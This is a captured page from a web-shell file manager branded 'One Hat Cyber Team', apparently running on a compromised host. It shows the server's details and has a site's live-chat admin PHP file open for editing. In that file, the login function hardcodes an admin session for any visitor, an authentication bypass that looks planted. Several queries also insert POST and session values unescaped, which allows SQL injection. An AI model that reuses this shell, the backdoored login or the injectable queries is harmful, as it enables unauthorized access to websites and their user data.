One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
www
/
admin
/
support
/
Edit File:
adminew.php
<?php include('../config.php'); // create session so we can keep track of users error_reporting(0); session_start(); function validateUser($username,$name,$admin){ @session_regenerate_id (); //this is a security measure $_SESSION['valid'] = 1; $_SESSION['username'] = admin; $_SESSION['name'] = Shahaj; $_SESSION['admin'] = yes; } // check login validateUser($_SESSION['username'],$_SESSION['name'],$_SESSION['admin']); function isLoggedIn() { if($_SESSION['valid']) return true; return false; } if(!isLoggedIn()) { header('Location: ../login.php'); die(); } // mysql interaction include "includes/base.php"; include "includes/functions.php"; // get whether available or not $current = mysql_query("SELECT available FROM users WHERE username = '".$_SESSION['username']."' "); $result = mysql_fetch_array($current); if($result['available'] == "yes") { $avail_string = '<h4><a href="#" onClick="available(false);"><img src="images/icons/available.png" title="Click to change availability" height="30" style="vertical-align:middle;"/> Available</a></h4>'; } else { $avail_string = '<h4><a href="#" onClick="available(false);"><img src="images/icons/unavailable.png" title="Click to change availability" height="30" style="vertical-align:middle;"/> Not Available</a></h4>'; } // update keepalive mysql_query("UPDATE users SET keepAlive = '".time()."' WHERE username = '".$_SESSION['username']."' "); //check for delete convo if(isset($_POST['delete_convo'])) { // check to see if conversation is to be stored $check = mysql_query("SELECT * FROM sessions WHERE convoID = '".$_POST['id']."' "); $check_result = mysql_fetch_array($check); if($check_result['contact'] == "yes") { $idd = $_POST['id']; archive($idd,$check_result['name'],$check_result['email']); } include "includes/date.php"; $timeStamp = date('g:i a'); mysql_query("UPDATE sessions SET status = 'closed', ended = '".time()."', hide = 'yes' WHERE convoID = '".$_POST['id']."' "); mysql_query("INSERT INTO transcript (name,message,user,convoID,time,class) VALUES ('".$_SESSION['name']."','has ended the conversation','".$_SESSION['userID']."','".$_POST['id']."','".$timeStamp."','notice') "); } // grab config data $fetch_config = mysql_query("SELECT * FROM config ORDER BY id ASC LIMIT 1 "); $config = mysql_fetch_array($fetch_config); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin Panel</title> <link href="../css/bootstrap.min.css" rel="stylesheet"> <link href="../css/datepicker3.css" rel="stylesheet"> <link href="../css/styles.css" rel="stylesheet"> <!--[if lt IE 9]> <script src="js/html5shiv.js"></script> <script src="js/respond.min.js"></script> <![endif]--> <link rel="stylesheet" type="text/css" media="all" href="css/colorbox.css" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="js/jquery.colorbox-min.js"></script> <script type="text/javascript" src="js/admin.js"></script> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript"> $(document).ready(function(){ Cufon.replace('h4,h3,h2,h1,label,a'); $("#chat-list li").click(function(){ window.location=$(this).find("a").attr("href"); return false; }); setChecker(); setInterval("setChecker();",10000); setTimer('<?php echo $_SESSION['username'];?>'); setInterval("setTimer('<?php echo $_SESSION['username'];?>');",120000); $(".delete_convo").colorbox({opacity:0.9}); }); // set refresh rate of conversations list var convoRefresh = <?php echo $config['adminRefresh'];?>; // set refresh rate of chat window var chatRefresh = <?php echo $config['convoRefresh'];?>; // by default we want to retrieve dashboard var activeConvo = "open"; // set up auto refresh to pull new entries into chat window var intervalID = setInterval("getInput(activeConvo);", chatRefresh); // populate convo list function currentConvos() { var ajaxCurrent; try{ ajaxCurrent = new XMLHttpRequest(); } catch (e){ try{ ajaxCurrent = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try{ ajaxCurrent = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ alert("There appears to have been a problem, please reload the page."); return false; } } } ajaxCurrent.onreadystatechange = function(){ if(ajaxCurrent.readyState == 1) { } if(ajaxCurrent.readyState == 4){ document.getElementById('currentConvos').innerHTML = ""; $('#currentConvos').append(ajaxCurrent.responseText); } } ajaxCurrent.open("GET", "includes/currentConvos.php?output=true",true); ajaxCurrent.send(null); } // close currentConvos() function sendInput(convoID) { var ajaxInsert; try{ ajaxInsert = new XMLHttpRequest(); } catch (e){ try{ ajaxInsert = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try{ ajaxInsert = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ alert("There appears to have been a problem, please reload the page."); return false; } } } ajaxInsert.onreadystatechange = function(){ if(ajaxInsert.readyState == 4){ getInput(convoID); } } var message = document.getElementById('messageID').value; var user = document.getElementById('userID').value; var name = document.getElementById('userName').value; var queryString = "?message=" + message + "&userID=" + user + "&name=" + name + "&convoID=" + convoID; ajaxInsert.open("GET", "includes/insertAdmin.php" + queryString, true); ajaxInsert.send(null); if(document.getElementById('messageID').value = message) { document.getElementById('messageID').value = ""; } } // close sendInput() function getInput(convoID) { var ajaxGet; try{ ajaxGet = new XMLHttpRequest(); } catch (e){ try{ ajaxGet = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try{ ajaxGet = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ alert("There appears to have been a problem, please reload the page."); return false; } } } ajaxGet.onreadystatechange = function(){ if(ajaxGet.readyState == 4){ document.getElementById('chatOutput').innerHTML = ajaxGet.responseText; var objDiv = document.getElementById('chatOutput'); objDiv.scrollTop = objDiv.scrollHeight; } } var queryString = "?id=" + convoID; ajaxGet.open("GET", "includes/retrieveAdmin.php" + queryString, true); ajaxGet.send(null); } // close getInput() function getInfo(user) { var ajaxInfo; try{ ajaxInfo = new XMLHttpRequest(); } catch (e){ try{ ajaxInfo = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try{ ajaxInfo = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ alert("There appears to have been a problem, please reload the page."); return false; } } } ajaxInfo.onreadystatechange = function(){ if(ajaxInfo.readyState == 4){ document.getElementById('user_info').innerHTML = ajaxInfo.responseText; Cufon.replace('h3,th') } } var queryString = "?info=" + user; ajaxInfo.open("GET", "includes/user_info.php" + queryString, true); ajaxInfo.send(null); } function available() { var ajaxAvailable; try{ ajaxAvailable = new XMLHttpRequest(); } catch (e){ try{ ajaxAvailable = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try{ ajaxAvailable = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ alert("There appears to have been a problem, please reload the page."); return false; } } } ajaxAvailable.onreadystatechange = function(){ if(ajaxAvailable.readyState == 4){ document.getElementById('available').innerHTML = ajaxAvailable.responseText; Cufon.replace('h4') } } ajaxAvailable.open("GET", "includes/availability.php?user=<?php echo $_SESSION['username'];?>", true); ajaxAvailable.send(null); } </script> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#sidebar-collapse"> <a href="#"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> </button> <a class="navbar-brand" href="#">Admin</a> <ul class="user-menu"> <li class="dropdown pull-right"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"><span class="glyphicon glyphicon-user"></span> User <span class="caret"></span></a> <ul class="dropdown-menu" role="menu"> <li><a href="#"><span class="glyphicon glyphicon-user"></span> Profile</a></li> <li><a href="#"><span class="glyphicon glyphicon-cog"></span> Settings</a></li> <li><a href="../logou.php"><span class="glyphicon glyphicon-log-out"></span> Logout</a></li> </ul> </li> </ul> </div> </div><!-- /.container-fluid --> </nav> <div id="sidebar-collapse" class="col-sm-3 col-lg-2 sidebar"> <form role="search"> <div class="form-group"> <input type="text" class="form-control" placeholder="Search"> </div> </form> <? include('../header1.php');?> </div><!--/.sidebar--> <div class="col-sm-9 col-sm-offset-3 col-lg-10 col-lg-offset-2 main"> <div class="row"> <ol class="breadcrumb"> <li><a href="#"><span class="glyphicon glyphicon-home"></span></a></li> <li class="active">Live Chat</li> </ol> </div><!--/.row--> <div id="main_container"> <div class="container_12"> <div class="col-lg-9"> <h1 class="ls"><img src="images/chat.png" alt="Live Support" title="Live Support" width="42" /> Live Support Dashboard</h1> </div> <div class="col-lg-3"> <ol class="breadcrumb"> <li><a href="adminew.php"><img src="images/navhome.png" alt="Dashboard" title="Dashboard" width="40" style="margin-right:10px;"/></a></li> <li><a href="leadsnew.php"><img src="images/navleads.png" alt="Leads" title="Leads" width="40" style="margin-right:10px;"/></a></li> <!-- <li><a href="users.php"><img src="images/navusers.png" alt="User Admin" title="User Admin" width="40" style="margin-right:10px;"/></a></li> <li><a href="maint.php"><img src="images/navmaint.png" alt="Maintenance" title="Maintenance" width="40" style="margin-right:10px;" /></a></li> --> </ol> </div> <div class="clear"> </div> <!-- <div class="col-lg-3"> <?php// if($_SESSION['admin'] == "Yes") { ?> <h4><img src="images/icons/admin.png" alt="Admin User" title="Admin User" height="30" style="vertical-align:middle;" /> <?php //echo $_SESSION['name'];?> | <a href="../dash.php"><span class="red">Back</span></a> </h4> <?php// } else { ?> <h4><img src="images/icons/standard.png" alt="Standard User" title="Standard User" height="30" style="vertical-align:middle;" /> <span style="font-size:12px;">SHA HAJ SERVICE (I) P. L. </span> | <a href="../dash.php"><span class="red">Back</span></a></h4> <?php// } ?> </div>--> <div class="col-lg-6"> <div id="available"><?php echo $avail_string;?></div> </div> <div class="col-lg-6"> <h4><a href="#" onClick="toggleMute();"><img id="muter" src="images/icons/sound.png" alt="Mute / Un Mute audio alerts" title="Mute / Un Mute audio alerts" height="30" style="vertical-align:middle;" /> Audio Alerts</a></h4> </div> <div class="clear"> </div> <div class="col-lg-3"><div class="heading_light"> </div></div> <div class="clear"> </div> <div class="col-lg-3" style="float:left;background-color:#48dca7"> <div class="heading_solid"> <h3><img src="images/icons/identity.png" width="32" /> Current Chats</h3> </div> <style> ul{ list-style-image: url('images/user.png'); color:#fff; } </style> <div id="currentConvos"> </div> </div> <script type="text/javascript"> currentConvos(); setInterval("currentConvos();",convoRefresh); </script> <div class="col-lg-12"> <!--- Chat container --> <div class="chatContainer"> <div class="heading_solid"> <h3><img src="images/icons/userm.png" width="32" /> Active Conversation</h3> </div> <!--- user info output --> <div id="user_info" > <script type="text/javascript">getInfo('open');</script> </div> <hr> <!--- chat output --> <div id="chatOutput" style="background-color:#30a5ff;padding:20px;color:#000;"></div> <hr> <!--- Input form --> <form action="javascript:sendInput(activeConvo);" id="inputForm"> <form name="messageInput" id="MessageInput" action="javascript:sendInput(activeConvo);"> <input type="hidden" name="userID" id="userID" value="<?php echo $_SESSION['userID'];?>" /> <input type="hidden" name="userName" id="userName" value="<?php echo $_SESSION['name'];?>" /> <input type="text" name="messageID" id="messageID" size="auto" class="input_field" > <input type="submit" value="Send Message" class="input_field submit"/> </form> <br> <hr> <br> </div> </div> </div> <div class="clear"> </div> </div> </div> <!--/.main--> <script src="../js/jquery-1.11.1.min.js"></script> <script src="../js/bootstrap.min.js"></script> <script src="../js/chart.min.js"></script> <script src="../js/chart-data.js"></script> <script src="../js/easypiechart.js"></script> <script src="../js/easypiechart-data.js"></script> <script src="../js/bootstrap-datepicker.js"></script> <script> $('#calendar').datepicker({ }); !function ($) { $(document).on("click","ul.nav li.parent > a > span.icon", function(){ $(this).find('em:first').toggleClass("glyphicon-minus"); }); $(".sidebar span.icon").find('em:first').addClass("glyphicon-plus"); }(window.jQuery); $(window).on('resize', function () { if ($(window).width() > 768) $('#sidebar-collapse').collapse('show') }) $(window).on('resize', function () { if ($(window).width() <= 767) $('#sidebar-collapse').collapse('hide') }) </script> <script> $(document).ready(function() { $('ul.subcat').hide(); $('li').click(function(event) { event.stopPropagation(); $('> ul', this).toggle(); }); }); </script> </body> </html>
Simpan